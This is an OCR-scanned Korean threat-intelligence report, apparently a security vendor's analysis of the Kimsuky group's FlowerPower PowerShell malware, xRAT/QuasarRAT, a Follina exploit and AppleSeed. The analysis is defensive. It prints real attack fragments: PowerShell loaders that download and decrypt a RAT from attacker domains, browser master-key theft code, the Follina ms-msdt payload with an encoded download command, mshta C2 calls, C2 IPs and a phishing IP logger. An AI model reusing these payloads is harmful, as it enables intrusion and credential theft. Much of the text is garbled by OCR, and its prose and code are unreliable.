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ZF2 0|4F #1 - FlowerPower

FlowerPower 23 E& LH A (PowerShell) 23 E 7[8k9] 7| 27 (Keylogger) 70|04, X| =+l Kimsuky &
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[0 419} 20| 27| 120| T2 ALRSH= ZH0l T Y& AMB{O|M RS MM o2 Qls| FTP A™H0| =E&[Q
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o
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A9 CIME2Z 018

1A0/2022 02:462 8 CI=edal .

11./10/2022 11 :502H CI®efz| ..

11/10/2022 01 :492H CiEEl?] ¥= s W3 54
11/09/2022 112420 126 del. php

1/10/2022 0262 372 filelist.tut.e

11/08/2022 11 :242H 409 |nd=~ ndex. php

11/08/2022 112428 I,944 post.ohe .
11/10/2022 02:302% 557 [ _sen] 2nd Script
11,/09/2022 112425 a3 11st Script
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$ip
$szfilename - dirname(
$pfile fupvn($szfllename
$res-%ulD. "\r $ip."\r\n
furite($pfile,$res);

fclose($pfile);

$ SERVER[ 'REMOTE_ADDR'];

%S -%hs-seen.

‘[ sprintf( Bk

)
)
S

‘a”);
'.$_SERVER[ "REMOTE_ADDR" ] r\n .%

header('Location: https://mail.google.c
[ 5] PHPI}Y =
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127.0.0.1

127.0.0.1

Mozillaf5.0 (Windows NT 6.1; Winbd; x64) AppleWebKit/537.36 (KHTH
en-Us.eng=0.9.kaig=0.8

February 1,2023,1:44 am

127.0.0.1

127.0.0.1

Mozillaf5.0 (Windows NT 6.1; Wingd: x64) AppleWebKit/537.36 (KHTh
en-Us.en;g=0.9koq=0.8

February 1,2023,1:45 am

¥

2023-01-31-07-54-55-Phitxt - Molepad
File Edit Format View Help
CgoIPTOIPTOgMTgzNZBIkMEX Fd pbmRvd3NcU3lzd GViME) V2 IuZG9:
MTUONzISkMEXFByb2dyYWigRmlsZXMgKHgdNilcR2SZ2xIXENoomh
VN TfQoKPTOSPTODEANTAwCI DO OemInemPtIEZ pbGVEXFdpe mVzal
lkMEXFBYb2dyYWOgRmIsZXNe Trn30ZX BhZCerX G Svd GVWYWCrKy SleGL
fEhdR HwwMSBOMISyMDLIDASOQyiDOSPTOIPQobCgoIPTOP TG HE
PTOSPOpbe3BhY2VIYXICVIDAHIsKOddWONDcrmwr SFOKCHOOP TOBPS Axl
CiaPTOIPSEE HwwMSBONCEyMDIZIDASOHOOIDO9PTOSPOpb Q3 RybCel
O3 RybCtWXX Y ml b RWS 02U dCgo9PTO9PTOgMIESODhSIkMBEXF Byb2e
ftDdHIsK1 pdCgoIPTOAPTOGFHREMDEYMN Dgvhjfy My fwOToDOCAIPT

127.0.0.1
127.0.0.1 v
£ > £ *

Ln 1 Call 1005 Windcrees [CRLF) UTE-B Ln 1, Cal 2128 1008 Windows {CRLF) UTF-B
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1426 <p><input type="hidden" value="pianid"

data-description=FH3NecmluZ10kYSA9IHSoTmV3LUSianVid
kc2polm15cH)1c3NvbmxpbmUuY29tL2pvL2FSLnR4dCcpfT

1eCAKYjtpZXggIGMNCgOK" " ></p>

http://adsjh.mypressonline.com/jo/ay.txt

423 <div class="inner">
68 B4 424 <div class="util">&nbsp;</div>
1425 <nav id="gnb"></nav><{/div>
- | 426 </header>
4

27 <section id="container">
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3. Browser Infostealer
FlowerPower 2At A3 EE = 7|2 (Keylogging) 23 E EO|H, [E 81t 20| 7|24ES +ESHHA I-F(Chrome),
AX|(Edge) HRFPH HEE S B AAYET} 119€0) 2EE YARIYCE

ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force

ChromedataPath
EdgedataPath

Add-Type AssemblyName System.Security

masterkey - Get-Masterkey (iChromedataPath)
outFile masterkey "fenv:APPDATA\masterkey.txt"
Add-Content Path ‘outFile masterkey Value ("Chrome : masterkey)

masterkey - Get-MasterKey (’EdgedataPath)
Add-Content -Path joutFile masterkey Value ("msedge : masterkey)

(12 8] EetRA =8 TE YT (FlowerPower 2At AT EE)

Ol 2HAE WES K| 118 ASEC 221 AAIE 72 2EXIZ2 21E00] RZ T2 g /IE ZME Sl &

7ieh HE A2, =Tot E = FTPE 0| 8510] C20f T&SHRALE

4. XRAT (QuasarRAT)
XRAT2 2014H 25 E (Github)ofl S7HE! ZEAU(NET) 7|8F @ =44 RATO|LCE



29 23,2015 Quasar v1.0.0.0

Changelog

= xRAT is now Quasar
¢ Added Password Recovery (Common Browsers and FTP Clients)
Added Server compatiblity with Mono (Server now runs on Linux with Monao installed)

> Client Builder works also on Linux/Mono
Added ability to upload batch files
Added Client support for multiple hosts

Added maximum simuftaneous file downloads/uploads (current max: 2)

[ 9] xRATO|AM QuasarRATZ HA! A

2= 2015 787K xRATEHE Ol B2 2 ARSI [ 90N = ARO[ 8EFH QuasarRATZ FEO|
EI?iEf O|= 7|5 =7t S 7440] 0|—|—011‘19'34 XE7HK| = of2] SAXSO| AFSSE UL} ohX| 2 HE
E= 09| M= S7h%[0] RACE

=2ECR SO0IH 7| OF AEE HAHB APR t QACE e
% SHLI2! GoldDragon 90| 224 % EC 221 AAIZ Kimsuky 1
£9| xRAT(Quasar RAT) 3 73

2147|120 ot

VMProtect”} & 2N A g2 (process hollowing) £ 2520 374
=l 2 xRATRF 121012 20| &38| wARRHA

4 & Client (0.0.0.0 F Client (0.0.0.0)
| 4 L2 Client.exe
PE == PE
Type References I =8 Type References

F!;:-Fer-:-r-c-:-i Kimsu k-y P =B References Original

Resources P B Resources

- b} -
wClient.Core XR-AT P {} ProtoBuf KRAT

xClient. Core.Compression P i} ProtoBufMeta
xChient.Core.MouseKeyHook P {} ProtoBufSeralizers
ant.Core. MouseKeyHook.HotKeys P {} sClient
t.Core.MousekeyHook Implementation P {} xClient.Config
t.Core.MousekeyHoolk WinApi B {} xClient.Core
it Core MetSenializer P{} xClient.Core.Commands
xClient. Core. NetSerializer. TypeSerializer B A} xClient.Core.Compression
xClient, Core Metworking B {} xClient.Core.Elevation
xClient.Core.Packets P} xClient.CoreEncryption
sClient.Core Packets. ClientPackets B {} xClient.CoreExtensions
wClient.Core, Packets. ServerPackets B A} xClient.Core.Helper
xClient, Core, Recovery. Browsers [ {]’ xC Ienf.cﬂ:c.r."-cl.l:':.f-.t:.-Hl::':"'r:
«Client, Core. ReversePromny P A} xClient.Core.MouseKeyHook HotKeys
xClient. Core.ReverseProoy Packets P {} xClient.Core.MouseXeyHookImplemnentation
xClient. Core. ilities B {} sClient.Core.MouseKeyHook WinApi
P {} sClient.Core.Networking
P {} xClient.CorePackets
B A} xClient.Core Packets.ClientPackets
P { } xClient.Core.Packets. ServerPackets
P {} xClient Core.ReverseProxy
P {} xClient.CoreReverseProxy.Packets
P {} xClient.Core itilities
P AL} xClientEnums
P {} xClient.Properties

[ZLZ2! 10] xRAT H|




CESHXRAT Y22 ™70l HEO 2 2H0Ig| X2t 217 50| AFREH= xRAT= [12! 11]2F 20| HHE 70|

2T 2o L

BASE64 + Rijndael-128-CBC ModeZ =3}l 40| EZO|C,

: 45.77.71.50:8082;

: Xr_273ljet

pecrsian-"; SUbDIr

: Client.exe

o: TLkgqEf)4sGIXt1ANCT

<tris”; Quasar Client Startup

: Value used to generate key
: Office09

(A8 11] ¥=2HEl Kimsuky xRAT A7 71

a3 2022 108, MEA HHE xRATO| FlowerPower R 2 FEF QI A2 2HQISUCE Ot 71y 2 XH0|H

o
=z 5
2 7|E0l= xRAT C2 IP S ZE(Port)7t LI 0| A2t E ZRHE|AX[T M2 HHOM = QR0 =2

P ZE #4S CH22Eoth= ZA0|L.
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dp "SEnv:Appdata\Microsoft\Office™
sgsdsh - Test-Path -Path ‘“dp
(! isgsdsh)
{
New-Item ItemType Directory Force fdp

}

uyth env:Appdata ""-J".irr'nf,n'Ft'"\{J'F'Fifr\"-.mt_'.-.cnr‘r]‘lE:.rlip"EncryptEd C2 Data File Path

pokj "http: f/kssko.mypressonline.com/ks/mswordl6.pip” Encrypted CZ Data
oihkvd “http://kssko.mypressonline.com/ks/stride.dat" Encrypted xRAT
rtgj "C:\windows\temp\strike.dat"

1111 e =-I:l_ir'rf Net.WebClient

iiii.DownloadFile(%oihkvd r"tgj:l

iiii.PownloadFile(5pok3 uyth)

start-sleep -s 2

rfdcw [System.I0.File]: :ReadAllBytes(irtg])
del “rtgj

key - "0x37" Decrypt Key
mk-"_b"

(£S5 i rfdov. count

i)
{ Decrypt (xRAT)

rfdev[ii] rfdev[ii]

3, Sleep(1~10)2 RL201 “meword16pip” THU2| LSS ¢

o= 21
o AE 1BME 2=k

{ array.

te[] array2 = array;
num = i;
array2[num] *= 170;
i str text;
(char)array[i];
text = str + c.ToString();

g
i

fel 1 dinout)
125 %

Locals
MName Value
» instr naqlhlianlSbmp.
b g array te[0xD000001.3)
W text 13.206.107.59:8080

5. Follina (CVE-2022-30190)
LIl et Bt ZH0] MH TR 20| ZRE 2o = Ql8f| FTP AIH0| ==&(0f 21210| 7HsULt d2H
0
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AL|RACE,

G = fip:/fojnimypressonline.com/cgnk. 2 = & G X |i = FTP directory foink.mypre... j
FTP directory foiink. mypressonline.com/ at oiink. mypressonline.com

To view this FTP site in Windows Explorer: press Alt, click View, and then click Open FTP Site in Windows Explorer.

Lip to haher level directory

11/21 /2022 08: 1644 Directory .

1407 /2022 011440 Directory ..

11/21/2022 04: 1644 a2 JEEn . Ll

11/21/2022 07: 004K 129 —-zapn, txt

11/21/2022 O7-3T4M 6,549 1.down

[1/21 /2022 07: 3640 3,296 1.txt

11/21/2022 O7:424M 174 —aean. byt

11,17/ 2022 065844 87 dal . oho

(11718720 Oa: 234N b, oo explolt.htel ] = i
(170772022 07 - 4TAN index, php For CVE-2022-30190

11/17/2022 D6:5TAM

(A& 150M = =

window.location.href "ms-msdt:/id PCWDiagnostic /skip force /[para
IT RebrowseForFile=? IT LaunchMethod=ContextMenu IT SelectProgr

IT BrowseForFile=%$(Invoke-Expression($(Invoke-Expression('[System.
'+[char]58+[char]58+ UTF8.GetString([System.Convert] '+[char]58+[cha
e64String('+[char]34+'SW52b2t1LUVAcH]1c3Npb24gKES1dy1PYmplY3Qg TmVOL
kuRG93bmxvYWRTdHIpbmcol2h@dHAGLy9valpuayS5teXByZXNzb25saW51 LmNvbS8xL
r]34+'))")) un .
svstemshttp://oijnk.mypressonline.com/1.txt

indows/

[A2 15]HTML I RE Y&

U ok @l AS FRFoHH OF S A0 ArEEIX|= S22 HAE S A= FFEICL

6. FlowerPower H|X| 17
2021E0{|= FlowerPower2} ZHHAEl MA|7F 2AH HEZ|RACE 20209 M-S S& e A7 FE FlowerPowere= CHHS 10

0o =09l DM o = AMRS| SALt

7|Z FlowerPower?} AF23H |0l 22

» atwebpages.com

P getenjoymentnet

P medianewsonline.com
P myartsonlinecom

P mygamesonline.org

P mypressonline.com

P mywebcommunity.org

» onlinewebshop.net



» scienceontheweb.net

» sportsontheweb.net

SHX|2F 20224 11RI2EH [OE 16/0F 20| MZ22 =0 Q1 27091 “krokr”, “rekr” 7F AFR | 7| A|RFACE

gjqirudfth = “http://cogunmanblue.kro.krfjo/™

dkdlel "un"™

lognmfl "Ahnlab.hwp"

fhrmvkdlf "\Ahnlab\"

function stun(‘e)

{
k = [byte[]](0,2
1 E.|t'~"_ﬂ_!h
J
1
C

gjajrudfh - "http://wefgp.kealma.r-e.krfso/"
dkdlel "ok

lognmfl "Ahnlab. hwp"

fhrmvkdlf "\Ahnlab\"

4

function stun(ie)

{

[byte[]](@

e.Length

k
1
]
i
C

(5i 1)
[12! 16] FlowerPower2| A|22 =0 2! (FlowerPower 1A A3 E)
EESE 7| FlowerPower 2K A3 EE = "2 down” FAI0|A 2Lt 20223 11 FE "22rong’2 HAE|QUCE

function Download

i
downname LocalIbD

delphppath - ¢SERVER_ADDR : "del.php"

downpsurl SERVER_ADDR downname

codestring - (New-Object System.Net.WebClient).DownloadString( downpsurl)
comletter - decode ‘codestring

function df

{
dwnnAmE dkdlel " . rong” NEW
dELpHppATh gjqjrudfh "index.php"
downpsurl gjgqjrudth dwnnAmE
codestring - (New-Object System.Net.WebClient).DownloadString( downpsurl)
comletter stun ‘codestring




[(12! 17] FlowerPower .E H| 1l (FlowerPower 1At A3 EE)

LS 7|E +=THE FEO|M “ipconfig /all B, Drive 3! Provider S2"E F71H o2 =&dt= T ETF FIHE|QICE,
SHX|2F K 7| 50] EECHA| A El A B EE QU0 Ol= HIAE SQl A2 FEEIC,

D2t 2 Xt AR EO|A 7|2 7150] ARIE| D X144 RX] X 9J=Word) B3 AL S2stH, AA| of
Xl H|AE 7} RIS Z0|AHLE M2FS vHe 74O 2 RIAtE|C}

F8 O]+ #2 - AppleSeed
oo AppIeSeed QESIEH AR EL oA S} O7)| AT ZEHSI0] REE|Q L 2022H0)= (12! 18]
ot 20| C20f| F&3H= W7t F7HEl A =eIgict

t9clLh qoXIWP.Expa
i
toclh

win7ckB8
Z883gzelf

QoXIWP.Run “cmd fc omd o "RkdXrylF,
selfDel
qoX9WP . Run "cmd /o cmd /o omshta. ittp:/fstegar BB8webhos tapp . com/ fmode=login”

pI¥IblddZ - "whcdiYeNiYald ’ "
(21 18] C2 B4 2917} 27tEl vl AT e

Sle HH L AppleSeed@t= HIHZ MO 37} VBScript(1)S CHRZESHH, 2|5 by Qs AAH HEE
510 22 M&sHe AO0|Ch ot X |59 SR E flot AH|E2E SFotal ELOHE VBSaiptQ)E CHREE 3 A

PN |

[=]

SHStot

SEX| 224 SA| =71 VBScriptR)= ‘mshtaexe'S SESH=E YO YU, AHZF 27 SEE/|0f U0 X EX| Ct
£ YHOIZE CHM| AE 4= ACE(Z 19) &),

S fE1t IS Al 202213 ASEC E21E &3l &= k2| 378t Ht UL
p OIS S77| EX|IH |EH AppleSeed i

pUTAM, Z2UME AT AppleSeed FIE

pSE RO FX| 25 AN T 22 AppleSeed R




e _—— ...
=] E powarzhellaxe o4

Hgcertutiiese (48500

=1 [ emd.exe (4695}
comd, e {820}
£ . e (4852}
{5 o, e (4556}
[l e e e (4562)
= Bl omd. oo (AGEE)

= [ AcroRd3z exe (SE)

] Adote _Updater.sios (4560}
5] - CLERELE =
= g omd.exe (5056}

= g o, (5064}

= g smd e {5072}
powershni e (SHE0)

T
i ren,exe (5012}
[ e e (47200

= Wy regsvradexe (42T2)

= [ omid.exe

I

| sy s lominto e (2476
9 povearzhiall gve (4450)
7 incontigexe (2800)

§ AR EXE (2524)

@] netexe (1404)

i natl ez (4025}

= 1] query.exe [2004)
E?maur.im{mﬁ

el gme {4644}

» AppleSeed

| red.ean (4520}
= i =ed e (41447
i reg. e (30600
= g ol e (36580
i ren.exe (4790}
= i ced e (ATIZR
i req.exe (4820}
[= i el e {2624)
& reg.ece (3060}
[= i e e 41440
W reg.eme (4TBa)
[ i cred e (474D
i schiasks.exe (4163)
[ [ oed s 0s 504EY
_i_'j schinsks exe (R552)
i et e e (47D
i cmed o e (405D
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